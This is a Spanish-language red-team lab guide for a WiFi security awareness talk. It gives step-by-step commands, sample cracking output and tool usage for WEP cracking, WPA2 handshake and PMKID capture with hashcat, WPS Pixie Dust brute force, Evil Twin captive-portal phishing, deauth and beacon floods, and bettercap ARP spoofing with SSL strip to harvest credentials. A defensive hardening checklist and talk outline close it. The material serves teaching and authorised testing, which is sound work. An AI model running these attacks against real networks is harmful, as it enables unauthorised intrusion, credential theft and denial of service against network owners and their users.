Red Team

Hacking WiFi: guía completa de laboratorio

#network#pentest#redteam#wifi

Cuando te conectas a una red inalámbrica, tus datos se transmiten por el aire. Cualquiera dentro del rango puede interceptarlos. La única protección es el cifrado, y la mayoría del cifrado…

Guía técnica para ponencia de concienciación sobre seguridad WiFi. Todo el contenido es exclusivamente para fines educativos. Solo practicar en redes propias o con autorización escrita explícita del propietario.

Tabla de contenidos


Visión general y modelo de amenaza

¿Por qué WiFi es vulnerable?

Cuando te conectas a una red inalámbrica, tus datos se transmiten por el aire. Cualquiera dentro del rango puede interceptarlos. La única protección es el cifrado, y la mayoría del cifrado WiFi es débil, está mal configurado o puede romperse con las técnicas adecuadas.

Tipos de redes WiFi y su nivel de seguridad

Tipo Año Estado Tiempo de ataque
Open (sin contraseña) Sin cifrado Instantáneo (sniffing directo)
WEP 1997 ROTO (desde 2001) 5-12 minutos
WPA (TKIP) 2003 Vulnerable Horas-días (según password)
WPA2 (AES-CCMP) 2004 Estándar actual Horas-días (según password)
WPA3 (SAE) 2018 Más seguro Resistente a offline brute force

Vectores de ataque principales

graph TD
    A[WiFi Target] --> B[WEP Cracking<br/>IV Collection]
    A --> C[WPA/WPA2 Handshake<br/>Capture + Brute Force]
    A --> D[PMKID Attack<br/>Clientless]
    A --> E[WPS PIN<br/>Brute Force]
    A --> F[Evil Twin /<br/>Rogue AP]
    A --> G[KRACK Attack<br/>Protocol Exploit]
    A --> H[Deauth Flood<br/>DoS]

Laboratorio base — Hardware y Software

Hardware necesario

Adaptadores WiFi (imprescindible: soporte monitor mode + packet injection)

Adaptador Chipset Monitor Mode Injection Precio aprox. Recomendación
Alfa AWUS036ACH RTL8812AU ~40€ TOP recomendado (dual-band 2.4/5 GHz)
Alfa AWUS036AXML MediaTek MT7921AU ~50€ Mejor para WiFi 6
Alfa AWUS036NHA Atheros AR9271 ~25€ Clásico, excelente soporte Linux
TP-Link TL-WN722N v1 Atheros AR9271 ~15€ SOLO v1 (v2/v3 usan chipset diferente)
Panda PAU09 RT5572 ~20€ Dual-band económico

IMPORTANTE: Verificar siempre la versión del hardware antes de comprar. Muchos fabricantes cambian el chipset entre versiones.

Hardware adicional para laboratorio completo

Dispositivo Uso Precio aprox.
Router viejo (TP-Link, Netgear) AP víctima configurable (WEP/WPA/WPS) 10-20€ (segunda mano)
Raspberry Pi 4/5 Rogue AP, servidor DHCP/DNS, automatización 40-70€
WiFi Pineapple Mark VII Evil Twin automatizado, captive portal, MitM ~120€ (Hak5)
ESP8266/ESP32 (NodeMCU) Deauth beacon, WiFi jammer educativo ~5€
Antena direccional Yagi Extender rango de captura (hasta 1km+) 15-30€
Antena omnidireccional 9dBi Mejor recepción general 10-15€
HackRF One (opcional) Análisis de espectro RF, ataques de radio avanzados ~300€
Laptop dedicada Host de ataque (mínimo 8GB RAM para hashcat) Variable
GPU potente (para cracking) NVIDIA RTX 3060+ para hashcat acelerado Variable

Montaje físico del laboratorio

┌─────────────────────────────────────────────────┐
│ LABORATORIO WIFI │
│ │
│ [Router víctima] ←──WiFi──→ [Laptop ataque] │
│ (WEP/WPA/WPS) + Alfa AWUS036ACH │
│ │ │ │
│ │ Ethernet │ USB │
│ ↓ ↓ │
│ [PC víctima] [Raspberry Pi] │
│ (genera tráfico) (Rogue AP / tools) │
│ │
│ ⚠️ TODO en red AISLADA - sin acceso a Internet │
│ real desde la red víctima │
└─────────────────────────────────────────────────┘

Software necesario

Sistema operativo

SO Descripción Uso recomendado
Kali Linux (2025.x+) Distro pentest con todas las herramientas preinstaladas Principal
Parrot OS Alternativa a Kali, más ligera Alternativa
WiFiSlax Distro española especializada en auditoría WiFi WiFi específico

Herramientas principales

Herramienta Función Instalación
aircrack-ng (suite completa) Monitor mode, captura, deauth, cracking WEP/WPA sudo apt install aircrack-ng
hashcat Cracking GPU acelerado (WPA, PMKID, etc.) sudo apt install hashcat
hcxdumptool Captura PMKID sin necesidad de cliente sudo apt install hcxdumptool
hcxpcapngtool Conversión de capturas a formato hashcat sudo apt install hcxtools
Reaver Brute force WPS PIN sudo apt install reaver
Bully Brute force WPS (alternativa a Reaver) sudo apt install bully
Wifite2 Automatización de ataques WiFi sudo apt install wifite
Fluxion Evil Twin automatizado con captive portal git clone https://github.com/FluxionNetwork/fluxion
Wifiphisher Evil Twin + phishing automatizado sudo apt install wifiphisher
hostapd-mana Rogue AP avanzado (KARMA attack) sudo apt install hostapd-mana
mdk4 Deauth flood, beacon flood, DoS WiFi sudo apt install mdk4
Wireshark Análisis de paquetes capturados sudo apt install wireshark
Kismet Detector de redes y IDS wireless sudo apt install kismet
bettercap MitM, sniffing, spoofing (todo en uno) sudo apt install bettercap
macchanger Cambio de dirección MAC sudo apt install macchanger

Diccionarios para cracking

Diccionario Tamaño Fuente
rockyou.txt ~14M passwords Incluido en Kali: /usr/share/wordlists/rockyou.txt
SecLists WiFi Específico WiFi git clone https://github.com/danielmiessler/SecLists
crunch (generador) Custom crunch 8 12 abcdefghijklmnopqrstuvwxyz0123456789 -o custom.txt
hashcat rules Mutaciones /usr/share/hashcat/rules/best64.rule

Preparación inicial del adaptador WiFi

Terminal window
# 1. Verificar que el adaptador es detectado
sudo airmon-ng
# 2. Matar procesos que interfieren
sudo airmon-ng check kill
# 3. Poner adaptador en modo monitor
sudo airmon-ng start wlan0
# Ahora el adaptador se llama wlan0mon
# 4. Verificar modo monitor activo
iwconfig wlan0mon
# Debe mostrar "Mode:Monitor"
# 5. (Opcional) Cambiar MAC para anonimato
sudo macchanger -r wlan0mon

Método 1 — WEP Cracking

Concepto

WEP (Wired Equivalent Privacy, 1997) utiliza un Initialization Vector (IV) de solo 24 bits que se repite frecuentemente. Capturando suficientes paquetes con IVs repetidos, se puede derivar matemáticamente la clave de cifrado. El algoritmo RC4 subyacente es fundamentalmente débil en esta implementación.

Tiempo estimado: 5-12 minutos

Setup del laboratorio

Terminal window
# En el router víctima:
# 1. Acceder al panel admin (192.168.1.1 típicamente)
# 2. Wireless Settings → Security → WEP
# 3. Establecer clave WEP de 64-bit o 128-bit
# 4. Conectar al menos 1 dispositivo al WiFi (genera tráfico)

Ataque paso a paso

Terminal window
# === PASO 1: Preparar adaptador ===
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# === PASO 2: Escanear redes WEP ===
sudo airodump-ng wlan0mon
# Buscar redes con columna "ENC" = WEP
# Anotar: BSSID, CH (canal), ESSID
# === PASO 3: Capturar paquetes del objetivo ===
sudo airodump-ng --bssid <BSSID_VICTIMA> -c <CANAL> -w captura_wep wlan0mon
# Dejar corriendo. Necesitamos 20.000-80.000 IVs (columna #Data)
# === PASO 4: (Opcional) Acelerar con ARP replay ===
# En otra terminal:
sudo aireplay-ng -3 -b <BSSID_VICTIMA> -h <MAC_NUESTRA> wlan0mon
# Esto inyecta paquetes ARP para generar más IVs rápidamente
# === PASO 5: (Opcional) Fake authentication si no hay clientes ===
sudo aireplay-ng -1 0 -a <BSSID_VICTIMA> -h <MAC_NUESTRA> wlan0mon
# === PASO 6: Crackear la clave ===
# Cuando tengamos suficientes IVs:
sudo aircrack-ng captura_wep-01.cap
# Output: "KEY FOUND! [ XX:XX:XX:XX:XX ]"

Ejemplo de output real

Aircrack-ng 1.7
[00:00:03] Tested 512 keys (got 45023 IVs)
KB depth byte(vote)
0 0/ 9 A3(52224) 1F(48640) 09(47872) B7(47360)
1 0/ 1 7C(67840) 4A(49920) 11(48128) D3(47616)
2 0/ 2 E9(55808) 12(49920) 0A(49408) C1(48384)
3 0/ 5 23(51456) F7(49152) 8B(48640) CC(48128)
4 2/ 3 84(50688) 1D(49664) 0E(49408) 3C(48896)
KEY FOUND! [ A3:7C:E9:23:84 ]
Decrypted correctly: 100%

Tips y pitfalls

  • Velocidad: en redes con tráfico activo, 5 min; en redes silenciosas, usar injection para acelerar.
  • Antena: una antena direccional mejora drásticamente la captura a distancia.
  • Detección: los IDS pueden detectar paquetes de deauth e injection.
  • Clave 64 vs 128 bits: ambas se rompen; la de 128 tarda solo ~5 min más.

Para la ponencia (demostración en vivo)

  1. Configurar router con WEP antes de la ponencia.
  2. Conectar 2-3 dispositivos para generar tráfico.
  3. Ejecutar el ataque en directo — impacto visual: mostrar la clave en pantalla en <10 minutos.
  4. Mensaje: “Si tu router usa WEP, tu contraseña se recupera en 5 minutos con herramientas gratuitas.”

Método 2 — WPA WPA2 Handshake Capture

Concepto

Cuando un dispositivo se conecta a una red WPA/WPA2, realiza un 4-way handshake con el router. Este handshake contiene un hash de la contraseña WiFi. Si se captura este handshake, se puede ejecutar un ataque de fuerza bruta offline contra él.

El 4-Way Handshake explicado

sequenceDiagram
    participant C as Cliente
    participant AP as Access Point
    Note over C,AP: Ambos conocen la PSK (Pre-Shared Key)
    AP->>C: Msg 1: ANonce (AP Nonce aleatorio)
    Note over C: Calcula PTK con PSK + ANonce + SNonce + MACs
    C->>AP: Msg 2: SNonce + MIC
    Note over AP: Calcula PTK, verifica MIC
    AP->>C: Msg 3: GTK (cifrada) + MIC
    C->>AP: Msg 4: ACK
    Note over C,AP: Sesión cifrada establecida

El MIC (Message Integrity Code) del Msg 2 es lo que permite verificar passwords offline: si un password candidato genera el mismo MIC, es correcto.

Setup del laboratorio

Terminal window
# En el router víctima:
# 1. Wireless Settings → Security → WPA2-PSK (AES)
# 2. Establecer contraseña débil para demo: "password123" o "12345678"
# 3. Conectar al menos 1 dispositivo (smartphone, laptop)

Ataque paso a paso

Terminal window
# === PASO 1: Preparar adaptador ===
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# === PASO 2: Escanear redes WPA/WPA2 ===
sudo airodump-ng wlan0mon
# Buscar redes con ENC = WPA2, columna AUTH = PSK
# Anotar: BSSID, CH, ESSID y clientes conectados (STATION)
# === PASO 3: Capturar en el canal del objetivo ===
sudo airodump-ng --bssid <BSSID_VICTIMA> -c <CANAL> -w captura_wpa wlan0mon
# Esperar a capturar handshake (aparece "WPA handshake: XX:XX:XX:XX:XX:XX" arriba)
# === PASO 4: Forzar reconexión con deauth ===
# En otra terminal (acelera la captura):
sudo aireplay-ng -0 5 -a <BSSID_VICTIMA> -c <MAC_CLIENTE> wlan0mon
# -0 5 = enviar 5 paquetes de deauth
# El cliente se desconecta y reconecta → capturamos el handshake
# === PASO 5: Verificar que tenemos el handshake ===
sudo aircrack-ng captura_wpa-01.cap
# Debe mostrar "1 handshake" junto al nombre de la red
# === PASO 6: Cracking con diccionario (aircrack-ng) ===
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt captura_wpa-01.cap
# Velocidad: ~2.000-5.000 keys/s en CPU
# === PASO 6 (ALT): Cracking con GPU (hashcat) — MUCHO MÁS RÁPIDO ===
# Primero convertir formato:
sudo aircrack-ng captura_wpa-01.cap -J hash_wpa
# O con hcxpcapngtool:
hcxpcapngtool -o hash_wpa.hc22000 captura_wpa-01.cap
# Cracking con hashcat:
hashcat -m 22000 hash_wpa.hc22000 /usr/share/wordlists/rockyou.txt
# Velocidad con GPU: ~500.000-2.000.000+ keys/s (RTX 3060+)
# === PASO 6 (ALT 2): Cracking con reglas de mutación ===
hashcat -m 22000 hash_wpa.hc22000 /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# Las reglas prueban variaciones: Password → p@ssw0rd, PASSWORD, password123, etc.

Tabla de tiempos de cracking (estimaciones con GPU RTX 3060)

Tipo de contraseña Ejemplo Tiempo estimado
Password en diccionario password123 Segundos
Password default del router XTREME7890 Minutos (con diccionario router)
8 chars lowercase abcdefgh ~2 horas
8 chars mixed case AbCdEfGh ~24 horas
8 chars mixed + numbers Ab3dEf7h ~3 días
8 chars full charset A$3d!f7& ~2 semanas
12 chars mixed MyP@ssw0rd12 ~Años
15+ chars random kJ8$mQ2#nP5&xR Inviable

Tips

  • Sin cliente conectado: no hay handshake que capturar → usar PMKID (Método 3).
  • Deauth selectivo: -c <MAC_CLIENTE> es más sigiloso que deauth broadcast.
  • Múltiples GPUs: hashcat escala linealmente con GPUs adicionales.
  • Cloud cracking: servicios como AWS/GCP con GPUs NVIDIA pueden acelerar masivamente (coste: ~$1-5/hora).
  • Mask attack: si conoces parte del patrón del password (ej.: 8 dígitos numéricos):
    Terminal window
    hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
    # Solo prueba combinaciones numéricas de 8 dígitos

Para la ponencia

  1. Pre-capturar el handshake antes de la ponencia (ahorra tiempo).
  2. En vivo: mostrar el deauth → reconexión del móvil → handshake capturado.
  3. Lanzar hashcat con diccionario rockyou → la password password123 se crackea en segundos.
  4. Mensaje: “Tu contraseña WiFi de 8 caracteres se recupera en horas. Con 15+ caracteres aleatorios, es inviable.”

Método 3 — WPA WPA2 PMKID Attack

Concepto

Descubierto en 2018 por Jens “atom” Steube (creador de hashcat). No necesita que haya un cliente conectado a la red. El atacante solo necesita capturar un único frame del router al intentar conectarse. Este frame contiene el PMKID (Pairwise Master Key Identifier), derivado del password.

Ventaja sobre el handshake

Aspecto Handshake PMKID
Necesita cliente conectado ✅ Sí ❌ No
Necesita deauth ✅ Normalmente ❌ No
Detectable Más (deauth) Menos (pasivo)
Velocidad de captura Depende del cliente Instantáneo

Setup del laboratorio

Terminal window
# Mismo setup que Método 2
# Router con WPA2-PSK + contraseña débil
# NO necesitas dispositivos conectados al router

Ataque paso a paso

Terminal window
# === PASO 1: Preparar adaptador ===
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# === PASO 2: Capturar PMKID con hcxdumptool ===
sudo hcxdumptool -i wlan0mon -o captura_pmkid.pcapng --enable_status=1
# Esperar hasta ver "PMKID" en el output
# Ctrl+C cuando tengamos capturas suficientes
# === PASO 3: Convertir a formato hashcat ===
hcxpcapngtool -o pmkid_hash.hc22000 captura_pmkid.pcapng
# Verificar que el archivo tiene contenido:
cat pmkid_hash.hc22000
# === PASO 4: Cracking con hashcat ===
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
# === PASO 4 (ALT): Con reglas ===
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# === PASO 4 (ALT 2): Máscara para passwords numéricos (8 dígitos) ===
hashcat -m 22000 pmkid_hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

Tips

  • No todos los routers son vulnerables: el PMKID solo está disponible si el router soporta 802.11r (roaming) o ciertos tipos de PMK caching.
  • Dual-band: capturar en ambas bandas (2.4 GHz y 5 GHz) por separado.
  • Wifite2 lo automatiza: sudo wifite --pmkid intenta PMKID automáticamente.

Método 4 — WPS Brute Force

Concepto

WPS (WiFi Protected Setup) permite conectarse a una red pulsando un botón en el router o introduciendo un PIN de 8 dígitos. El problema: el PIN se valida en dos mitades (4+3 dígitos + 1 checksum), reduciendo las combinaciones de 100.000.000 a solo 11.000. Esto permite brute force en 2-10 horas.

Cálculo de combinaciones

PIN WPS: 8 dígitos → XXXX-XXX-C (checksum)
Primera mitad: 4 dígitos → 10.000 combinaciones
Segunda mitad: 3 dígitos → 1.000 combinaciones
Total: 10.000 + 1.000 = 11.000 intentos (no 100.000.000)

Setup del laboratorio

Terminal window
# En el router víctima:
# 1. Wireless Settings → WPS → Enabled (PIN method)
# 2. Anotar el PIN WPS del router (normalmente en la etiqueta trasera)
# 3. WPA2 con cualquier contraseña (el ataque WPS la bypasea)

Ataque paso a paso

Terminal window
# === PASO 1: Preparar adaptador ===
sudo airmon-ng check kill
sudo airmon-ng start wlan0
# === PASO 2: Escanear redes con WPS activado ===
sudo wash -i wlan0mon
# Buscar redes con "Lck" = No (WPS no bloqueado)
# Columna "WPS" muestra la versión
# === PASO 3: Ataque con Reaver ===
sudo reaver -i wlan0mon -b <BSSID_VICTIMA> -c <CANAL> -vv
# -vv = verbose
# Paciencia: puede tardar 2-10 horas
# === PASO 3 (ALT): Ataque con Bully (más rápido en algunos routers) ===
sudo bully -b <BSSID_VICTIMA> -c <CANAL> wlan0mon -v 3
# === OPCIONES AVANZADAS Reaver ===
# Si el router bloquea tras intentos:
sudo reaver -i wlan0mon -b <BSSID_VICTIMA> -c <CANAL> -vv -d 60 -r 3:60
# -d 60 = delay 60 segundos entre intentos
# -r 3:60 = sleep 60s cada 3 intentos
# Pixie Dust Attack (instantáneo en routers vulnerables):
sudo reaver -i wlan0mon -b <BSSID_VICTIMA> -c <CANAL> -vv -K
# -K = Pixie Dust (explota generación débil de nonces E-S1/E-S2)
# Si funciona, obtiene el PIN en SEGUNDOS

Pixie Dust — El ataque instantáneo

Algunos routers generan los nonces E-S1 y E-S2 de forma predecible (a veces incluso son ceros). El ataque Pixie Dust explota esto para derivar el PIN offline en segundos, sin brute force.

Routers vulnerables: Ralink, Broadcom, Realtek (muchos modelos de 2014-2020).

Terminal window
# Pixie Dust con Bully:
sudo bully -b <BSSID_VICTIMA> -c <CANAL> wlan0mon -d -v 3
# -d = Pixie Dust mode

Tips

  • Rate limiting: muchos routers modernos bloquean WPS tras 3-5 intentos fallidos.
  • Pixie Dust primero: siempre intentar Pixie Dust antes de brute force completo.
  • Wash: verificar que WPS no esté bloqueado (Lck=Yes → router bloqueado).
  • Wifite2: sudo wifite --wps automatiza el proceso completo.

Para la ponencia

  1. Pre-configurar router con WPS PIN habilitado.
  2. Demostrar Pixie Dust: PIN recuperado en segundos (si el router es vulnerable).
  3. Mensaje: “El 90% de la gente no sabe que tiene WPS activado. Son solo 11.000 combinaciones.”

Método 5 — Evil Twin Rogue AP

Concepto

El atacante crea un punto de acceso falso idéntico al legítimo: mismo SSID, misma apariencia. Los dispositivos se conectan al AP más fuerte. Una vez conectados, el atacante controla todo el tráfico: captura credenciales, inyecta malware, ejecuta MitM.

Variantes

Variante Descripción Herramienta
Evil Twin básico AP falso + DHCP + DNS → captura tráfico hostapd + dnsmasq
Evil Twin + Captive Portal Pide la contraseña WiFi al usuario Fluxion
Wifiphisher Social engineering automatizado (actualizaciones falsas) wifiphisher
KARMA Attack Responde a TODAS las solicitudes de probe hostapd-mana
WiFi Pineapple Hardware dedicado (todo automatizado) WiFi Pineapple Mark VII

Setup del laboratorio

Terminal window
# Hardware necesario:
# - 2 adaptadores WiFi (uno para el AP falso, otro para monitorear/deauth)
# - O 1 adaptador + Raspberry Pi como AP
# - Router víctima encendido con red legítima
# - Dispositivo víctima (smartphone) conectado a la red legítima

Ataque con Fluxion (Evil Twin + Captive Portal)

Terminal window
# === PASO 1: Clonar Fluxion ===
git clone https://github.com/FluxionNetwork/fluxion
cd fluxion
sudo ./fluxion.sh
# === PASO 2: Seleccionar idioma y ataque ===
# Menú → "Handshake Snooper" (capturar handshake primero)
# O → "Captive Portal" (engañar al usuario para que introduzca la clave)
# === PASO 3: Escanear redes ===
# Fluxion escanea automáticamente
# Seleccionar la red objetivo
# === PASO 4: Fluxion automáticamente: ===
# 1. Captura el handshake (si no lo tiene)
# 2. Crea un AP falso idéntico
# 3. Desautentica a los clientes del AP legítimo
# 4. Los clientes se conectan al AP falso
# 5. Muestra una página de "actualización de firmware" pidiendo la clave WiFi
# 6. El usuario introduce la clave
# 7. Fluxion la verifica contra el handshake capturado
# 8. Si es correcta → SUCCESS

Ataque manual (Evil Twin desde cero)

Terminal window
# === PASO 1: Preparar interfaces ===
# wlan0 = adaptador 1 (AP falso)
# wlan1mon = adaptador 2 (deauth + monitor)
# === PASO 2: Configurar hostapd (AP falso) ===
cat > /tmp/hostapd.conf << EOF
interface=wlan0
driver=nl80211
ssid=NombreRedVictima
hw_mode=g
channel=6
auth_algs=1
wpa=0
EOF
sudo hostapd /tmp/hostapd.conf &
# === PASO 3: Configurar DHCP (dnsmasq) ===
cat > /tmp/dnsmasq.conf << EOF
interface=wlan0
dhcp-range=192.168.1.100,192.168.1.200,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
address=/#/192.168.1.1
EOF
sudo ifconfig wlan0 192.168.1.1 netmask 255.255.255.0 up
sudo dnsmasq -C /tmp/dnsmasq.conf &
# === PASO 4: Configurar portal cautivo (Apache/nginx) ===
# Servir una página HTML que pida la contraseña WiFi
# Las requests DNS se redirigen a nuestro servidor
# === PASO 5: Deauth clientes del AP legítimo ===
sudo aireplay-ng -0 0 -a <BSSID_VICTIMA> wlan1mon
# Los clientes se reconectan a nuestro AP falso (señal más fuerte)
# === PASO 6: Capturar credenciales ===
# Monitorear los logs del servidor web para capturar lo que introduce el usuario
sudo tail -f /var/log/apache2/access.log

Ataque con Wifiphisher

Terminal window
# === Instalación ===
sudo apt install wifiphisher
# === Ejecución ===
sudo wifiphisher
# Menú interactivo:
# 1. Seleccionar red objetivo
# 2. Seleccionar escenario de phishing:
# - "Firmware Upgrade Page" → pide password WiFi
# - "OAuth Login Page" → captura credenciales de redes sociales
# - "Browser Plugin Update" → entrega payload
# 3. Wifiphisher deautentica automáticamente y crea el AP falso

Tips

  • Señal: la señal del AP falso debe ser MÁS FUERTE que el legítimo → usar antena de alta ganancia.
  • KARMA attack: hostapd-mana responde a TODOS los probe requests, capturando dispositivos que buscan redes guardadas.
  • HTTPS: el captive portal no captura tráfico HTTPS cifrado; solo funciona para la página de phishing.
  • Detección: WIDS (Wireless Intrusion Detection Systems) pueden detectar Evil Twins.
  • Ética: este es el ataque más “social engineering” — depende de engañar al usuario.

Para la ponencia

  1. Mostrar Fluxion creando un AP falso idéntico.
  2. Un voluntario se conecta con su móvil → ve la página de “actualización”.
  3. Introduce la contraseña WiFi → aparece en la pantalla del atacante.
  4. Mensaje: “Cualquier red WiFi abierta en cafetería/hotel puede ser un Evil Twin. Nunca introduzcas datos sensibles en redes públicas.”

Método 6 — KRACK Attack

Concepto

KRACK (Key Reinstallation Attack) — descubierto por Mathy Vanhoef en 2017 — es una vulnerabilidad en el protocolo WPA2 en sí, no en las contraseñas. Explota cómo WPA2 maneja la reinstalación de claves de cifrado durante el 4-way handshake.

El atacante fuerza la reinstalación de una clave ya usada (nonce reset), lo que permite:

  • Descifrar tráfico.
  • Inyectar paquetes.
  • Secuestrar conexiones TCP.

Dispositivos vulnerables

  • Android 6.0+ (wpa_supplicant 2.4-2.5): MÁS vulnerable (instala clave de todo-ceros).
  • Linux con wpa_supplicant < 2.7.
  • Windows y iOS: parcheados rápidamente.
  • Routers: depende del firmware.

Setup del laboratorio

Terminal window
# Hardware:
# - 2 adaptadores WiFi (uno para AP MitM, otro para monitor)
# - Router víctima con WPA2
# - Smartphone Android 6.0 (sin parchar) o VM con wpa_supplicant vulnerable
# - Laptop con Kali Linux
# Herramientas:
git clone https://github.com/vanhoefm/krackattacks-scripts
cd krackattacks-scripts
pip install scapy --break-system-packages

Demostración conceptual

Terminal window
# El ataque KRACK completo es complejo. Para la ponencia se recomienda:
# 1. Explicar el concepto con diagramas
# 2. Mostrar el script de test de Vanhoef:
cd krackattacks-scripts
sudo python3 krack_all_zero_tk.py --target <IP_VICTIMA> --interface wlan0mon
# 3. El script verifica si el dispositivo es vulnerable
# 4. En dispositivos vulnerables, muestra que el tráfico es descifrable

Para la ponencia

  • No recomendado para demo en vivo (complejo, requiere dispositivos específicos sin parchar).
  • Mejor: mostrar diagramas del ataque + explicar impacto + verificar que los dispositivos del público están parcheados.
  • Mensaje: “Actualiza SIEMPRE el firmware de tu router y el SO de tus dispositivos.”

Recursos


Método 7 — WiFi Pineapple y hardware ofensivo

WiFi Pineapple Mark VII

Dispositivo comercial de Hak5 diseñado para pentesting WiFi. Automatiza múltiples ataques:

  • Evil Twin automático
  • Captura de handshakes
  • MitM con SSL strip
  • KARMA attack (responde a todos los probe requests)
  • Captive portal personalizable
  • Dashboard web para gestión
Especificación Detalle
Precio ~$120 USD
Interfaz Web dashboard
Radios 2 (una para AP, otra para monitor/deauth)
Alimentación USB-C
Tamaño Portátil (cabe en un bolsillo)
Web https://shop.hak5.org/products/wifi-pineapple

Otros dispositivos de hardware ofensivo

Dispositivo Función Precio
ESP8266 Deauther Envía deauth floods, beacon floods (microcontrolador de $5) ~5€
Flipper Zero Multi-tool (WiFi con módulo extra, NFC, SubGHz, IR, BadUSB) ~170€
HackRF One SDR (Software Defined Radio) para análisis de espectro y ataques RF ~300€
Proxmark3 Clonación de tarjetas RFID/NFC (acceso a edificios) ~300€
USB Rubber Ducky (Hak5) Inyección de teclas (payload delivery vía USB) ~60€
LAN Turtle (Hak5) Implante de red (MitM en Ethernet, VPN reversa) ~60€

ESP8266 Deauther — El WiFi jammer de $5

Terminal window
# Flashear ESP8266 con firmware deauther
# Proyecto: https://github.com/SpacehuhnTech/esp8266_deauther
# 1. Descargar Arduino IDE
# 2. Añadir board ESP8266
# 3. Flashear el firmware deauther
# 4. Conectarse al AP "pwned" (password: deauther)
# 5. Abrir 192.168.4.1 en el navegador
# 6. Escanear redes → seleccionar objetivo → Attack → Deauth
# ⚠️ SOLO para laboratorio. El jamming WiFi es ilegal en la mayoría de jurisdicciones.

Método 8 — Ataques avanzados complementarios

Deauth Flood (DoS WiFi)

Terminal window
# Desconectar a TODOS los clientes de una red (DoS):
sudo mdk4 wlan0mon d -c <CANAL>
# O con aireplay-ng (broadcast deauth):
sudo aireplay-ng -0 0 -a <BSSID_VICTIMA> wlan0mon
# -0 0 = deauth infinito

Beacon Flood (confusión de redes)

Terminal window
# Crear cientos de redes WiFi falsas:
sudo mdk4 wlan0mon b -f nombres.txt
# nombres.txt contiene un SSID por línea
# Los dispositivos cercanos ven cientos de redes "fantasma"

MitM sobre red WiFi comprometida (post-explotación)

Terminal window
# Una vez dentro de la red WiFi:
# === Con bettercap ===
sudo bettercap -iface wlan0
# Dentro de bettercap:
net.probe on # Descubrir hosts en la red
net.sniff on # Capturar tráfico
arp.spoof on # ARP spoofing (MitM)
set arp.spoof.targets <IP_VICTIMA>
set http.proxy.sslstrip true
http.proxy on # HTTP proxy con SSL strip
net.sniff on # Capturar credenciales HTTP
# === Con Wireshark ===
sudo wireshark -i wlan0 -k
# Filtros útiles:
# http.request.method == "POST" → credenciales en formularios HTTP
# dns → queries DNS (historial de navegación)
# ftp || telnet → credenciales en texto plano

Wifite2 — Automatización total

Terminal window
# Wifite2 automatiza TODOS los ataques anteriores:
sudo wifite
# Opciones útiles:
sudo wifite --wep # Solo atacar WEP
sudo wifite --wpa # Solo atacar WPA
sudo wifite --wps # Solo atacar WPS
sudo wifite --pmkid # Solo PMKID
sudo wifite --kill # Matar procesos conflictivos
sudo wifite --dict /path/to/wordlist.txt # Diccionario custom

Defensa y hardening WiFi

Checklist de seguridad WiFi (para la ponencia)

# Acción Impacto Dificultad
1 Cambiar cifrado a WPA3 (o WPA2-AES mínimo) 🔴 Crítico Fácil
2 Password 15+ chars aleatorios (no palabras de diccionario) 🔴 Crítico Fácil
3 Desactivar WPS 🔴 Crítico Fácil
4 Cambiar password admin del router (no dejar default) 🔴 Crítico Fácil
5 Actualizar firmware del router 🟡 Alto Medio
6 Desactivar WPA/TKIP (solo usar AES-CCMP) 🟡 Alto Fácil
7 Ocultar SSID (reduce ataques casuales) 🟢 Bajo Fácil
8 Filtrado MAC (no es seguro, pero añade una capa) 🟢 Bajo Medio
9 Segmentar IoT en VLAN separada 🟡 Alto Avanzado
10 Usar VPN en redes públicas 🔴 Crítico Fácil
11 Monitorizar con Kismet/WIDS 🟡 Alto Avanzado
12 802.1X (WPA-Enterprise) en entornos corporativos 🔴 Crítico Avanzado

Contraseñas WiFi seguras vs inseguras

❌ INSEGURAS (se crackean en minutos/horas):
password123, 12345678, admin1234, qwerty2024
Nombre_del_perro2020, MiCasa123, WiFi_Casa
✅ SEGURAS (inviables de crackear):
kJ8$mQ2#nP5&xR7!bT9w (20 chars random)
correct-horse-battery-staple-7$ (passphrase larga)
Generadas con: pwgen -s 20 1 o keepass/bitwarden

Guión de presentación para ponencia en vivo

Estructura propuesta (60-90 minutos)

Bloque 1 — Introducción (10 min)

  • “Tu WiFi no es tan seguro como crees.”
  • Mostrar estadísticas: % de redes WEP/WPS activas en la zona (escanear antes con airodump-ng).
  • Disclaimer legal: solo redes propias, autorización escrita.

Bloque 2 — Demo WEP (10 min)

  • Ataque en vivo: crackear WEP en <10 minutos.
  • Impacto visual: password en pantalla.
  • Lección: “WEP = sin contraseña.”

Bloque 3 — Demo WPA2 Handshake (15 min)

  • Capturar handshake en vivo (deauth + reconexión).
  • Mostrar hashcat crackeando password123 en segundos.
  • Mostrar tabla de tiempos: 8 chars vs 15 chars.
  • Lección: “La longitud y aleatoriedad de tu contraseña lo es TODO.”

Bloque 4 — Demo WPS (10 min)

  • Mostrar wash escaneando WPS.
  • Demo Pixie Dust (si el router es vulnerable): PIN en segundos.
  • Lección: “WPS debe estar DESACTIVADO. Punto.”

Bloque 5 — Demo Evil Twin (15 min)

  • Momento más impactante: un voluntario se conecta a tu AP falso.
  • Mostrar captive portal pidiendo credenciales.
  • Mostrar el tráfico capturado.
  • Lección: “Nunca confíes en redes WiFi públicas. Usa VPN.”

Bloque 6 — Defensa práctica (15 min)

  • Abrir el panel del router en directo.
  • Mostrar cómo cambiar cifrado, desactivar WPS, actualizar firmware.
  • Checklist imprimible para cada asistente.
  • Recomendación de VPN y gestores de contraseñas.

Bloque 7 — Q&A (10-15 min)

  • Preguntas del público.
  • “¿Quién va a cambiar su contraseña WiFi esta noche?” 🙋

Lista de material para la ponencia

✅ Hardware:
□ Laptop con Kali Linux
□ 2x Alfa AWUS036ACH (o similar con monitor mode)
□ Router viejo configurado con WEP / WPA2 + WPS
□ 2-3 smartphones de prueba (víctimas)
□ Cable Ethernet (conectar router a la laptop para configuración)
□ Raspberry Pi (opcional, para Rogue AP dedicado)
□ Proyector HDMI + adaptador
□ Alargador eléctrico
✅ Software pre-configurado:
□ Kali Linux actualizado con todas las herramientas
